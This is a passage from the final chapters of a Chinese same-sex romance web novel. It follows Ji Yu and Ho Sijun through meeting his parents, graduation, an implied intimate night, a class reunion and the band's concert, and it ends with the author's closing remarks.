转角的廊柱里走出一道身影,一个高大的男人。 男人走到他们面前,有一张很熟悉的脸。 “阿姨,叔叔。” 纪羽握着她的手收紧,也喊:“妈妈。” 纪泽兰收敛神色,淡淡地点了点头:“思钧,你回来了。” 徐梁这才客气地拍了拍贺思钧的肩膀:“小贺,又长高了。” 贺思钧恭谨地低下头,答道:“还好,没长多少。” “回去再说吧。”纪泽兰开口,将纪羽发凉的指尖向怀里带,“走吧。” 车辆穿行在立交桥间,向繁华的市中心驶去。 下车,纪泽兰探了探纪羽的脸:“脸怎么那么红?” 纪羽咬着牙:“有点热……” 不知道他爸怎么想的,副驾不坐非坐后排来,纪泽兰和他一左一右挤着,贺思钧还把空调温度调高了,热得他后背出汗。 黏糊糊的,很不舒服。 “我先上去换个衣服。”纪羽两手空空往楼上去,不忘回头叮嘱,“我马上下来!” 贺思钧将行李提进门,换了鞋跟着徐梁到客厅。 “坐吧。” 沉默一阵。 “我还以为小宝还想再瞒一阵。” 贺思钧说:“您早就知道了。” “也不是都知道。”徐梁摆摆手,“小宝的阿姨一直都是我们在请,这半年她们去得少了,我和他妈妈都猜到他是恋爱了。” 贺思钧听得很明白:“只是没想到会是我。” “小宝…”徐梁沉吟一会儿,“他从小就是这个性格,想要的就一定要得到……也不奇怪。” 听到徐梁似乎是误解了什么,贺思钧解释道:“是我一直追着他,想和他在一起。” “他不喜欢的,就算逼着他做,他还是不会接受。”徐梁手撑头,皱紧了眉,啧了下舌,有几分年轻时的匪气,“怎么就喜欢了呢。” 贺思钧:“是我的问题。” 徐梁睨他一眼,叹气,自顾自嘀咕道:“像老大就好了……” 不恋爱也行啊,纪羽才多大呢。 纪羽一下楼,就见客厅内他爸、他妈,还有贺思钧三足鼎立似的分立三角。 纪羽目光来回扫过,走到了纪泽兰身边坐下,手里眨眼就多了杯温开水。 这是叫他不要开口的意思。 纪羽捧起杯子,反光的杯壁中倒映众人神色。 哇,妈妈看上去心情很不好。 纪羽小心地向她靠了靠,纪泽兰眼神松动,说话了:“说说你走之后发生的事吧。” 这一次回答要比纪羽听到的更详细一点,也更抽象,贺思钧说到了他在任务期间主要接触的对象,还提到了他所到观察到的未来发展的前景。 纪泽兰是生意人,她的眼界更宽广,很不客气地评价道:“要达到这个预期,至少还需要五年,这几年你打算怎么办?” 贺思钧说:“如果可行,这个日期会提前,我有信心能推动它更进一步,这期间我保证,小羽不会为我做任何投入。而我有的,都会属于他。” 纪泽兰有必要警醒他:“小宝不止是我的孩子,他只是暂时决定和你在一起。” “这是我的一项保证,无论我们的关系怎么样都不会改变,这是我提前拟定的协议书,具体条款可以再修改。” 贺思钧从怀中掏出折叠的草拟协议,上边签了名,只要纪羽愿意,签上名,这份承诺就会起效。 男人的态度随意地像是把工资卡上交,纪羽接过纸张,看到上面一条条的赠予条款,立刻抬眼瞪去。 贺思钧和他短暂对视,平静而迅速地移开了目光。 “这不是下聘礼吧?”徐梁走过来,冷不丁来一句,收到了母子两人的怒视,立刻撤回,“我瞎说的,我瞎说的。” “这算是我的私心。” 贺思钧垂眼,视野中纪羽和纪泽兰的手臂紧密亲昵地贴在一起。 “无论以后我和纪羽是什么关系,他都是我这一辈子里最重要的人,以后哪怕我们会分手,我也希望我们还有合约上的这份关联。” 白纸黑字,期限超越生命,将他们坚定地绑定在一起。 从头到尾,纪羽什么也没说,贺思钧为他们留出了空间,纪泽兰只是看了他很久,然后说:“只要你想,妈妈不会反对。” 纪羽并不意外,他早就知道了结果,只不过做出接受选择和承担情绪的人不是他,所以仍然忐忑。 他抱住纪泽兰,说:“我喜欢他的,谢谢妈妈。” “那爸爸呢?徐梁在外侧展开双臂,试图加入,“爸爸呢?” 纪泽兰把他拨开:“走吧你,没啥用。” 好在纪羽给了他一个拥抱,抚慰一个中老年男人受伤的心灵,避免了年夜饭的餐桌上少一份大餐。 除夕夜的厨房里多了一个人忙碌,又少了一个人的身影。 “老大说没假走不开,不回来了。” “申上博士是忙些,过两天我带点菜去给他。” “十几个小时飞机能不坏?还不如到那边买了。” “到时候再说,到时候再说。” 徐梁从厨房里出来歇口气,对剥豆子的纪羽道:“你妈最近激素不稳定,可千万得顺着她,待会你拦着别让她喝酒。” 纪羽挑起眉毛:“那你也别喝了。” 徐梁搓搓手:“哎呀,这大好的日子,我就喝一点。” “你上次和贺思钧把整瓶白的都喝了,医生不是让你少喝吗。” “谁知道这小子喝不倒!” 纪羽哼哼:“明明是你酒量太差,他酒量还不如我呢。” 上次他和贺思钧一起在外面喝酒,他喝了一杯都没事,还能站起来走直线,贺思钧才喝半杯酒就不行了,把酒瓶都推倒了,他还没喝过瘾呢。 纪羽心痒痒:“我喝吧,爸你看着我喝解馋。” “不不不,”徐梁赶忙拒绝,“咱们都别喝了,上次那个柳承来不是带了点梨膏吗,咱们就喝梨膏水,喝饮料!” 纪羽撇撇嘴:“这是小孩喝的。” “喝酒不好,伤身体。”徐梁苦口婆心。 纪羽不太高兴,但有所动摇:“真不喝?我和你一起喝嘛。” 徐梁连连摆手:“不喝,真不喝,喝了酒头痛,不喝了。” “哦,那你是肯定不喝了。” “是,爸爸以身作则。” 纪羽登时多云转晴,笑吟吟地:“这可是你说的,别反悔!” 徐梁如遭雷击,颓然道:“还有这一手呢。” 纪羽得意洋洋。 “好了好了,都听你的,去洗把手吧,让小贺给你切点水果吃,剩下的爸来剥。” 纪羽轻快地起身离开。他背过身的瞬间,徐梁与贺思钧隔着玻璃对上眼神,交换了一个坚定的神情。 “妈吗,吃水果。”—— 作者有话说:到底谁给谁下套。 快完结啦,大概还有两三章? 第124章 “李长乐、王天琦、袁潇潇、蒋鑫来了吗, 下一批答辩准备。” “来了!” 6月,毕业季。 “别紧张,说完道歉就行了, 最多二辩,不可能真让我们延毕, 你说对吧。” “应该吧。” “我还是好紧张。” “我不想毕业了,明天还要上班。” 教室门推开,答辩助理招呼:“走吧, 你们就是最后一批了吧?到隔壁教室等, 已经结束的同学把资料交齐等会由老师统一签名。” 推门,讲台上还有人, 席下五位导师翻阅论文。 “视角很新颖, 准备也很充分,你是打算留在我们学校继续念的是吧?” “谢谢老师, 是的。” “那好, 我们以后还有很多交流的机会,这篇不错, 没什么问题, 按修改意见再调整一下。” “好的。” “下一个上来吧。” 教室末尾,几人压低声音交谈。 “这就过了, 那还挺容易的?是不是越到最后越松,那稳了。” “你真敢想, 那是纪羽容易, 他什么成绩, 你什么成绩。” “好爽啊,我也想长成这样又聪明,还是大明星, 我就没见过胡仁对哪个学生那么客气过,刘泽的论文直接被甩回去说重写了。” “那是他活该,哪有一个字儿自己写的……他好像过来了!” 三人登时缩在一块,睁大眼睛看着青年一步步向她们靠近。 “同学,我有急事要提前走,能不能麻烦你们帮我把资料给我的室友,待会结束后他会来找你们,我已经签过名了。” 虽然是浓烈而张扬的长相,但无论如何也让人生不起对抗欲来,尤其那双眼睛,清亮亮地看着人,声音里的少年气快漫出来,近距离交谈带来的冲击一时让人迷瞪。 见无人回应,他又说:“拜托。” 女生醒过神来,连忙应道:“可以可以可以,没问题,小事。” “谢谢你们,”纪羽露出个真心实意的笑,“那我先走了,毕业典礼请你们喝奶茶,再见。” “再见……” 门被再度关上,像一阵风来去无痕。 “我终于知道为什么他的粉丝要叫他宝宝了。” “这是我的宝宝了……” 在两月前考取驾照的神童按导航建议车速,以每小时四十公里的时速狂飙十六公里赶到考场! 今天正是高考的最后一天。 不出意料,考试已经结束,大批考生已然离开,只剩寥寥几人立在门外等待。 贺思钧不在其中,纪羽抱着脑袋发出无声的尖叫,从车上跳下,四处寻找贺思钧的身影。 嘟——嘟—— “接电话呀,不会自己走了吧……”纪羽抽抽鼻子,心里堵得慌,下一秒电话就被接起。“小羽,你结束了?顺利吗?” “你在哪呢,是不是已经走了。” “你在考场门口了?我马上到。” 纪羽举着电话,眼睛向四周扫,嘴上却说:“你要是走了就不要赶回来了……是我晚到了。” “没晚。”贺思钧的声音与电话音频重叠,纪羽扭头,贺思钧提起嘴角,“时间刚刚好。” 回去的路上由贺思钧开车。 “你刚刚去买东西了?”纪羽手扶着脑袋拉伸脖子。 贺思钧:“买了一点吃的。” 纪羽:“你饿了?那我们在外面吃吧,自己做好累。” “不累,不是想喝四果汤吗,待会回去做好不好?” “好。”纪羽心情好转,又把话匣子打开,“我以为今天还是开题答辩的顺序呢,没想到我在倒数第二组,早知道就直接二辩了。” 红灯,贺思钧停下车,偏头问道:“那现在通过了吗?” 听纪羽说他们学院的答辩很严格,一辩的通过率只有四成,他为这场答辩准备了两个礼拜。二辩虽然相差没几天,但马上就到演唱会,时间越临近纪羽就越是抽不开身,思来想去,在今天解决是最好的方案。 “通过啦,要是没过就太亏了。”纪羽靠在椅背上,点点方向盘上贺思钧的手指,“对不起啊,我迟到了,本来应该等你出来的。” 贺思钧不在意纪羽是不是在门外等着,这不过是他人生中最平常的几天,但纪羽的关切令一切都变得与众不同。 连简单的触碰好像也变得格外令人在意。 晚上两人谢绝了一切聚会邀约,在家里简单地吃了顿饭,纪羽如愿喝到了糖水,看着贺思钧将碗筷放进洗碗机,纪羽从沙发上爬起来,从后扑上贺思钧的肩头。 “贺思钧,今天你是主角,有没有愿望要提?” 贺思钧擦干手,反过手臂将他托住,青年腿根的软肉从指缝溢出,怎么都抓不稳似的。 天旋地转,纪羽就从背后被抱到了身前,他两腿挂在贺思钧的腰间,比贺思钧要高一截。 贺思钧许久没有下一步动作,纪羽环着他脖子的手臂收紧,小臂内侧细嫩的肌理摩擦着他颈侧跳动的血管。 “要亲吗?”纪羽低下头。 贺思钧像被蛊惑般向前探,距离饱满的唇肉不到半公分时又停下。 纪羽被这一出搅得不上不下,扯着贺思钧的头发,强迫他抬起头,啪叽地亲了一口:“磨蹭死了!” 稍显昏暗的灯光中,男人的瞳孔微微放大,纪羽浑然不察,动弹着小腿要下去。 纪羽全身上下都长得好,贺思钧两只手就能把他屁股完全盖住,但形状倒是半点不含糊,像刚蒸出来的馒头。 圆润。 屁股被坚硬的手臂箍着都变了形,还是没挣开,贺思钧就这个姿势带他走进了卧室。 咔哒,关上了门。 纪羽敏锐地察觉到些许不对:“已经亲过了,放我下去,刚刚是你自己不亲,现在我不想亲了。” “不亲嘴巴。”贺思钧将他放下。 房子是贺思钧去年新买的,纪羽亲自挑了床,两米二,有事没事他就在床上滚两圈。 这回后背一沾到床,纪羽就像被蜘蛛网黏住了似的,动也不动。 “就今天吗?” “要改吗,都没关系,我听小羽的好不好。” 灼热的呼吸喷在颈间,纪羽胸膛上下起伏。他和贺思钧都还年轻,有想法很正常,贺思钧经常帮他解决,纪羽伸出援手的时候就少一点,大多时候贺思钧亲一亲他就好了。 很偶尔的,贺思钧会蹭他,很热,到最后好像却只有他像从水里捞出来似的。 做这种事高兴和累各占一半,纪羽不抵触,但也没有迫切地需要。 “那就今天吧,反正明天也没什么事,我可以在家睡觉,上次我腿好酸,我不想侧着弄了。”过几天应该是没空了,贺思钧想贴着他都没机会。 对于纪羽的慷慨大方,贺思钧毫不吝啬谢意:“好,谢谢宝宝。” “干嘛叫我宝宝……唔!” 纪羽睁大了眼睛,嘴巴微微张开,贺思钧俯身吻在他脸颊。 “我爱你。” …… …… …… “不是这样的啊,上次不是这样的!”纪羽自觉受到了欺骗,眼泪滴滴嗒嗒地落在枕头上。 贺思钧拿着事先准备好的纸巾擦他被眼泪糊得睁不开的眼睛,“现在这样不喜欢吗,很难受?” “不喜欢……”纪羽摇着头说不喜欢,但手臂交缠得分不开,像要勒断男人的脖颈。贺思钧脱不开身,怕一用力会伤到纪羽,只能不断地用亲吻安抚他。 纪羽一会儿说不要你亲了再也不要亲了,一会儿又说我给你亲就亲亲好不好,后来说舒服,过几分钟又反悔说要快点结束。 结束不了,无论纪羽怎么说怎么凑上嘴巴主动卖好,贺思钧也不说马上就好,好像这一刻要持续到海枯石烂似的。 月上中天时,纪羽终于知道贺思钧去买了什么吃的,捂到温热的葡萄糖液倒入嘴里,甜得发腻,他左右摇头躲也躲不开,贺思钧的手变得好大,轻轻松松就能把他固定住。 好像纪羽是一只用手掌心就能裹住的小鸟,再怎么扑腾翅膀也飞不起来。 一遍遍的,落在贺思钧的臂弯、肩头、腿面。 有时候闭着眼睛像飞得很高,可睁眼又是浓郁的黑。 但贺思钧没有关灯啊,纪羽挣扎起来,光从狭窄的缝隙中挤进来—— 贺思钧用手捂住他的眼睛。 纪羽把它扯下来,咬在了嘴间,咸腥。 止住的眼泪又向外冒,贺思钧隐没在暗色中的脸向他靠近,逐渐清晰。 纪羽眨一下眼,因为姿势的变化,泪珠从鼻梁滑过,没在嘴角。 贺思钧牢牢地注视着纪羽,仿佛一刻也不能松开视线的束缚,捕捉着纪羽面上所有的神情。当纪羽不再啜泣,他也变得平静,眼神复杂难辨。 纪羽把他拉下,贺思钧尝到他嘴角的眼泪,无法控制地加深了这个吻。 这算不算是作茧自缚,纪羽扭过脸,抽噎着:“你有那么喜欢我吗,为什么那么激动。” 贺思钧的表情平静,声音很低:“有吗?” 纪羽努力伸长手臂勾住被子盖在身上,用力闭上眼睛,强作镇定道:“好了,我要睡觉了,谁也不许动,不能说话。” 他闭上眼睛,强行忽略异样,好像真的睡着了。贺思钧久久没有动作,过了好一会儿,他才躺下。 声响全然消失,寂静得引人多思。 纪羽磨磨蹭蹭地翻过身,抱住了他:“我没说不喜欢……” 话音刚落,灼热的气息再次贴上。 纪羽用最后的力气喊:“贺思钧,你怎么能又骗我?!” “小羽,这次原谅我吧……”—— 作者有话说:完结章零点放出,大家可以醒来再看~ 【全文完结】 第125章 照片在屏幕中接连滑过。 “不高兴吗?” 声音从后方传来, 纪羽趴在床上撑着手臂退出相册,回头:“还好,没想到毕业那么快, 好多人要回老家,不知道什么时候能再见面。” 贺思钧单腿靠上床沿, 亲了下他的脸:“还会再见的,你们才大学毕业。” 纪羽抵上他的肩膀:“嗯,应该吧。” 每一次身份的转变与阶段的结束都不可回溯, 人总是时刻地保持着变化, 已经留存下来的,才是永恒。 幸福是永远不可追逐的, 唯一能在平常中做到的, 是放逐一切能令人感到痛苦的人、事和想法。 6月末,纪羽正式毕业, 以宁海为起点, 承风开办了他们真正意义上的独立演唱会。 开票三秒后8万张票便销售一空。 有人说这场演唱会来得太晚,四年前的承风才是巅峰期, 那时开办演出, 承风的名声只会比现在更火热。 【承风没有巅峰期,他们一年比一年更好。】 这是一场盛宴, 主厨对火候的掌握已炉火纯青,知道如何能最大限度地勾起人的食欲, 味蕾满足的感官刺激压过精神的躁动。 大众永远热衷于极致的东西, 极致的美, 极致的疯狂,极致的公正,极致高尚的品德, 极致堕落的恶念。生来便有的东西或许有极限,但精神的放荡没有边界,虚无抽象没有实质的东西填补着空虚。 一旦得到满足,没有人会吝啬赞美。 【非常推荐精神状态一般的人去承风的演唱会,有种在自己家里把衣服脱光赤/身/裸/体满屋乱跑放声大笑的畅快!】 【守序混乱的疯感太对味了,哥几个的手劲能把地球弹飞!】 【爽没边了知道吗,指弹纯神来着,下一场什么时候开票?】 【本来还说不去,我老公在现场激动得恨不得当场为承风诞下一子……】 【奔着给贝斯手拍神图去的,结果一场下来全糊了,我建议全场都改成站票,坐着蹦不起来[微笑]】 【有人还说买营销,去你的吧,把乐队专演干成主唱solo的没资格评价。】 纪羽结束三天演唱会,倒头睡了一天两夜,醒来时贺思钧的录取通知结果下来了。 南华大学,信息管理与信息系统。 纪羽扑到贺思钧身上,笑得见牙不见眼:“兜兜转转,我还是你学长!” 贺思钧也很高兴,小概率事件并未在他身上发生,纪羽的愿望,他的愿望通通得以实现。 察觉到某个部位的变化,纪羽微微一顿,不着声色地从贺思钧身上爬下,不经意般问道:“十七班说想组织一个聚会,就在这周六,你想去吗?” 在他印象里,贺思钧对集体没什么归属感,毕业后也不联系以前的同学,纪羽从没见过贺思钧去参加什么聚会。 贺思钧轻轻一提把人抱回自己腿上,从背后揽着:“我和你一起去。” 纪羽突然安静,贺思钧肩膀一重,低头一看——纪羽张着嘴巴,呼呼呼,眼皮下眼珠转来转去。 周六,纪羽睡过了头,起床时已经是下午,贺思钧把他喊起来时他还有点起床气。 外边下了雨,有点闷。 “我不穿这双,这双鞋面不能沾水。” 贺思钧换了一双皮鞋。 纪羽看了看,说:“皮鞋不搭。” 换。 “好像过时了,不好看。” 再换。 “没有第一双好看。” …… 挑来挑去还不如第一双,纪羽凑到更衣镜前照一圈。 “这上衣是不是太过了,要不要再换简单点的?” “好看。” “裤子呢,显我腿直吗。” “本来就直。” 纪羽左看看又看看,没挑出什么毛病来,低头,脚趾头顶起鞋面不安分地活动一下。 “还是第一双最搭……” 贺思钧把鞋提来,纪羽穿上鞋再照一照。 合适了。 “好看吧?”纪羽从镜子里看贺思钧,“你就穿这身去吗?” “很好看。”贺思钧点点头,“不好吗?” 贺思钧穿衣服没什么讲究,有什么穿什么,纪羽看不下去他来来回回穿那几件,自己订衣服的时候顺便把他也加上了。 但贺思钧穿什么衣服好像真没什么差别。 不过前些天他和纪羽一起出门时,路上有人发传单,可能是晕了头了,一把把传单拍他身上,迷蒙着眼镜后没多大的眼睛,热情地推销道:“智星暑期兴趣班六折折扣哦,亲子均可接受教学,家长可以带孩子去体验一下。” 纪羽很不高兴:“我才是家长!” 本就是个插曲,谁都没当回事,但今天一面镜子照着两个人,贺思钧竟然也生出点不该存在的细腻想法来。 他是不是看上去很老气,和纪羽一点都不搭? “干嘛呀,在想什么?”纪羽心情好了,发了起床气的小愧疚也泛上来,黏黏糊糊地贴过来。 “我这么出去会丢你的脸吗?” “啊?” 纪羽拉下贺思钧的脑袋:“你是不是压力太大了,想什么呢?我身边可多人在用你那个网站了,你都是成功人士了,已经披上金装了知道不。” 一句话说得熨帖,贺思钧忍耐着没去亲他:“宝宝。” “你是不是被我同化了,说一句你居然能想那么多啦。”纪羽声音越说越小,“其实……你这条衣服前几天被我偷偷踩过……” 他瞄一眼贺思钧,手指揪着他衣服领口,找补道:“谁让你把我的芝麻糊做成无糖的了,我说了要加两勺糖的。” 贺思钧没忍住:“两汤勺太多了,我加了十毫升蜂蜜。” “那也没味道!” 贺思钧打商量:“那下次加二十毫升好吗,你吃太甜的消化会不好。” 纪羽自觉权益需要争取:“三十毫升,不能少了。我平常都不吃甜的,辽光买雪糕我都没吃。” “明天做一碗当补偿好吗?” 纪羽振臂高呼:“贺思钧,你真是我见过第二帅的男人。” “小羽,第一个是谁?” “是我爸呀,”纪羽在贺思钧下巴上亲了一下,“他做糖水比你做得好喝,他是老师傅嘛,你继续努力。”- “纪羽,好久没见了,哎不能这么说,经常在网上看你的照片!” “柳承来了没,在你后面吗,以前他就老跟着你,今天没和你一块儿来啊?” “展舒文,快点,纪羽来了!” 十七班的人爱玩的性格一点没变,一群人包了个带k歌功能的宴会厅,一推开门就是鬼哭狼嚎。 纪羽跟着班长一块儿进去,众人留了位给他,见他坐下就起哄:“大明星来了!” 纪羽抬抬下巴:“签名只签照片啊,先到先得,只签十张。” 他开个玩笑,没成想还真有人掏出毕业照来让他签名。 顾英杰也来了,他晚班执勤,想露面打个招呼就走,见纪羽来了,一屁股坐人旁边,装模作样地:“哎,没看见这儿有保镖啊,不要骚扰我们纪先生!” 说笑着,场面突然一静,顾英杰也蹭地站起来。 “贺思钧?” “贺思钧你也来了我靠。” “谁联系上的,真给面子。” 纪羽抬头,看着贺思钧朝这边走来,脑筋一转,把脸板上了。 众目睽睽中,贺思钧脚步没有丝毫停顿,朝着纪羽的方向走来,纪羽面色不善,隐约有硝烟味蔓延。 顾英杰胆子一抖,不知为什么有点泄气,要拦不拦地看着贺思钧在他原来的位置坐下,亡羊补牢地念叨道:“和气生财和气生财……” 纪羽下车时还挺高兴,停个车的工夫,谁惹他不高兴了,贺思钧倾身靠近纪羽:“怎么了?” 纪羽噗嗤一下乐了:“没怎么!” “卧槽,吓死我了,纪羽,有你这么演的吗?” “原来贺思钧跟你来的,我说你怎么交两个人的钱,还以为你要带你对象来呢。” “和好就好,当初你俩休学,我还以为你们俩出大事了。” 作为知情者,展舒文摇着酒杯大放厥词:“你们不是猜他俩私奔了吗,冲破现实的阻碍看清自己的内心什么的,编了一整本感情录,写得特别好,这本子还在吗?” “哈哈哈哈展舒文你真会开玩笑哈哈。”老同学抹着冷汗躲到纪羽身后,咋回事,咋贺思钧瞄他一眼他就有点心虚呢? “所以你们俩当年到底是怎么了?” 纪羽简单笑笑:“没什么大事,都处理好了,我和贺思钧还是同一个大学呢。” “那感情好,你们俩认识那么多年真闹掰了也挺可惜的,有从小就一起长大的朋友不容易……” 一旁有人感慨:“我和我发小上了大学后就不联系了。” “我和我朋友出去旅游就闹掰了。” “很多人分开久了,自然而然就没话题了嘛,很正常,不怕吵架,就怕没有架可吵。” 说着说着,众人就看着两人长吁短叹起来,刚二十出头的年纪一个个历经风帆饱经风霜似的。 贺思钧丝毫不受视线影响,从怀中取出消毒湿巾擦拭餐具,无比自然地摆放在纪羽面前。 “想要唯一的结果不容易,但动手做,是最容易的。” 顾英杰向不远处潘玥望去,不着痕迹收回视线,又挑起笑:“行啊,几年不见,都成哲理家了,早知道我就去学个什么哲学系,说不定现在能开个讲座什么的。” 纪羽抬起空荡荡的手臂,说道:“某位哲学家好像要迟到了,刚刚听说迟到一次是罚——” 一道黑影窜出去:“我的五十块!!” 咚的一声闷响,顾英杰的声音虚弱地传来:“柳承,我要告你袭警……” 柳承无辜地抬高双手,不知该如何处理这一坨瘫软,众人第一次听见他响亮的嗓门:“这里有医生吗?” 闷笑声中,潘玥捂住了脸,偏过头去。 纪羽凑到贺思钧耳边:“看到了吧,这才叫丢脸。”- 【华姐:小纪,你看看姐的手速怎么样?】 【华姐:[图片]】 【Yv:姐!你要来看演唱会跟我说呀[小黄鸟惊讶]】 【华姐:票还是要自己抢才有参与感,我带我几个姐妹一起去支持你[加油][撒花]】 【Yv:谢谢华姐[小黄鸟哭哭]】 【华姐:是我要谢谢你才对[微笑]】 纪羽盯着手机半天,店员上了甜品都没发觉。 半晌,他拍着贺思钧的手臂问:“华姐好像知道了啊。” 贺思钧视线扫过屏幕,没什么反应,纪羽品出点不对劲:“你不会早就知道华姐知道了吧?” 贺思钧没有否认:“小羽,有些东西是藏不住的。” “是你根本没好好藏,你跟人透露不是增加负担吗?”纪羽狠狠挖去一半千层。 “不会。”贺思钧递出纸巾,“华姐是个好人,她知道你也是个很好的人。” 很好的人的真心需要被看见。 贺思钧需要它被看见。 算了。纪羽摇摇头,叹口气说道:“贺思钧,你简直就是我的毒唯。” 贺思钧自动忽略了后两个字,重复道:“我是你的。” “买单!”纪羽被腻得皱着脸抬手招呼道。 旁边突然落下一道人影。 “你好。” 带着卫衣兜帽,浑身黑漆漆的,嗓音有点低。 纪羽不由绷紧了后背,贺思钧搭在桌边的手臂浮起青筋。 好像。 这身装扮。 纪羽递给贺思钧一个眼神,冷静地开口:“你好,有什么事吗?” 兜帽动了动。 “我……” 纪羽静静地看着他。 “我想找你签个名,阿雀!”兜帽下露出一张稚嫩的脸,是一个十三四岁的孩子,面上还带着激动的红晕,“我没想到会在这里碰见你,我真的特别特别喜欢你,我、我觉得你很厉害,你可以给我签名吗?” 一通慷慨激昂表白后,他后知后觉自己的鲁莽,挠了挠头:“我是不是打扰到你了……” “没有,可以签名。”纪羽松了一口气,与之浮起的是自豪感,他漫不经意地看了一眼贺思钧,柔和了声线对少年道,“你叫什么名字?” “我叫萨桑。”少年有点不好意思。 “签名,你想签在哪里?” “签在我的贝斯上,我现在去拿!” 纪羽看着萨桑跳起来跑开,店门外有几个和他差不多年纪的小孩,他们你推我搡叽叽喳喳地讲话,花了一点时间,萨桑抱着贝斯和笔跑回来,“就签在这里,谢谢!” 纪羽流畅地签了名,又问:“那是你的乐队吗,需不需要我写几句话给你们?” “需要!”萨桑为这意外之喜幸福得快昏过去,舌头打结好一会儿才说出乐队的名字。 “祝绿鲤鱼乐队早日实现自己的目标,成为超一流乐队……”纪羽在贺思钧向店员借来的纸条上写,“像这样可以吗?” “可以,已经很好了!我们一定会成为和承风一样好的乐队。” 萨桑留下了这句话,被他的朋友簇拥着离开了。 这里的动静引起了路人的注意,贺思钧很带着他离开。 车开出去好一会儿,纪羽面颊上泛起的血色还没褪下。 他扭过头,对贺思钧笑得很灿烂,然后说:“哇。” 贺思钧在路边停车,没有像纪羽想象的那样亲他,只是很蠢地跟着他:“哇。” 两人抱在一起,行人路过车旁,好奇地嘟囔:“哪来的青蛙叫。”- 承风名字的由来是什么? 扶摇而上的野心,还是无所束缚的自由期许,谁都没有对外做出过解答。 但或许站上舞台,就会明白。 再浮夸的动作,也不过是坦然而恣意地暴露自我。手腕感受的振动与耳边的清晰的音频同步,与来自阴影的呼喊声混杂,细碎又渺远,忽远忽近。 看不到,却触手可得。 声音,是风带来的礼物。 呼啸的,呢喃的,簌簌作响的,震耳欲聋的。 纪羽在舞台的中央,伸出手,仿佛已触摸到世界边缘,听到了万物回音。 它们说。 阿雀,下次再见—— 作者有话说:故事总有结束的一天,但想念不会,谢谢看到最后所有的读者朋友。 如果有合适的番外会以福利番外形式呈现。 再见~